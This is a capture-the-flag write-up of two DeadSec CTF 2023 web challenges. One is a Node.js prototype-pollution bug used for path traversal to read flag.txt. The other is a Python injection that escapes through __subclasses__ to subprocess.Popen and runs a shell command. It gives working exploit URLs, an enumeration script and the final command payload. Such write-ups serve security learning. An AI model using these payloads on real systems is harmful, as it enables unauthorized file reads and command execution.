DeadSec CTF 2023

lexsai | 2023-05-20

crush

Note apps.

We are provided with the following source.

const express = require('express');
const bodyParser = require('body-parser');
const ejs = require('ejs');
const hash = require('crypto-js/md5');
const fs = require('fs');
const app = express();


var letter = {};
var read = {};
function isObject(obj) {
	return obj !== null && typeof obj === 'object';
}
function setValue(obj, key, value) {
	const keylist = key.split('.');
	const e = keylist.shift();
	if (keylist.length > 0) {
		if (!isObject(obj[e])) obj[e] = {};
		setValue(obj[e], keylist.join('.'), value);
	} else {
		obj[key] = value;
		return obj;
	}
}

app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine', 'ejs');


app.get('/', function (req, resp) {
	read['lettername'] = 'crush';
	resp.render(__dirname + "/ejs/index.ejs");
})


app.post('/sendcrush',function(req,resp){
	let {name , crush ,content}=req.body;
	lettername=hash(crush).toString();
	content = name + " sent you a letter: " + content;
	fs.writeFile(__dirname+"/myletter/"+lettername,content,function(err){
		if(err==null){
			letter[lettername]=lettername;
			resp.send(`I will send this message to your crush, hoping that she will read it <3
						Your letter name is : ${lettername}`);
		}else{
			resp.write("<script>alert('hack cc')</script>");
			resp.write("<script>window.location='/'</script>");
		}
	})

})
// flag in flag.txt
app.get('/readletter', function (req, resp) {
	let lettername = letter[req.query.lettername];
	if (lettername == null) {
		fs.readFile(__dirname + '/myletter/' + read['lettername'], 'UTF-8', function (err, data) {
			resp.send(data);
		})
	}
	else {
		read[lettername] = lettername;
		fs.readFile(__dirname + '/myletter/' + read[lettername], 'UTF-8', function (err, data) {
			if (err == null) {
				resp.send(data);
			} else {
				resp.send('letter is not existed');
			}
		})
	}

})

app.get('/hacking', function (req, resp) {
	let { hack, lettername, rename } = req.query;
	if (hack == null) {
		resp.send('Don\'t try to hack anything, she doesn\'t love you.');
	} else if (hack == 'rename') {
		setValue(letter, lettername, rename)
		resp.send('Nice !!!!!!!');
	} else if (hack == 'reset') {
		read = {};
		resp.send("All letter have been deleted");
	}
})

app.listen(1301);

console.log("listen on 0.0.0.0:1301");
// flag in flag.txt

From the above comment, the objective seems to be to execute some kind of path traversal. Looking through the code, the setValue function looks susceptible to prototype pollution.

function setValue(obj, key, value) {
	const keylist = key.split('.');
	const e = keylist.shift();
	if (keylist.length > 0) {
		if (!isObject(obj[e])) obj[e] = {};
		setValue(obj[e], keylist.join('.'), value);
	} else {
		obj[key] = value;
		return obj;
	}
}

We can verify that it is vulnerable by executing it in a browser console.

But what variable do we control with prototype pollution? Let’s examine the code for constructing note filepaths.

let lettername = letter[req.query.lettername];
...
read[lettername] = lettername
...
fs.readFile(__dirname + '/myletter/' + read[lettername], 'UTF-8', function (err, data) {
    if (err == null) {
        resp.send(data);
    } else {
        resp.send('letter is not existed');
    }
})

We just need to pollute letter.<whatever> to what we want and then specify <whatever> as the lettername in our readletter query.

/hacking?hack=rename&lettername=__proto__.abcd&rename=../flag.txt
/readletter?lettername=abcd

Trailblazer

We are greeted by this page. It may be some kind of allowed character list?

There isn’t much to examine on that page. So, we look for other pages, beginning with robots.txt.

That image seems strange. Copying the link of the image, we find the following endpoint.

Putting random input seems to trigger some filter– likely because our input does not abide the allowed character list from earlier.

Fuzzing, we discover that putting a == after now triggers a different response.

Maybe we’re injecting python code? The server runs on the python server library ‘waitress’ and now is a function from the ‘datetime’ library, so this may be working in a python context.

We can know for certain we are injecting python then.

From here, we can get to object with mro. We keep in mind that the backend code is probably something like screenshot output of exec('datetime.' + input + '()') so our injection must return a function.

Then, we can use __subclasses__ to look for useful functions

In the interest of time, we will write a simple script to automatically download pictures of all the elements.

import requests
import shutil

def main():
    for i in range(0,500):
        url = f'https://110f1a9a0539421afca623f6.deadsec.questimages/now.__class__.mro()[1].__subclasses__()[{i}].__name__.__str__'
        response = requests.get(url, stream=True)
        with open(f'subclass{i}.png', 'wb') as out_file:
            shutil.copyfileobj(response.raw, out_file)
        del response

if __name__ == '__main__':
    main()

Then, we just comb through the images.

subprocess.Popen!

With Popen we can execute arbitrary commands. thus, we work from this final payload to show us the flag

images/now.__class__.mro()[1].__subclasses__()[352]('cat${IFS}flag.txt',shell=True,stdout=-1).communicate()[0][0:].strip

Only 6 solves on this one!

Conclusion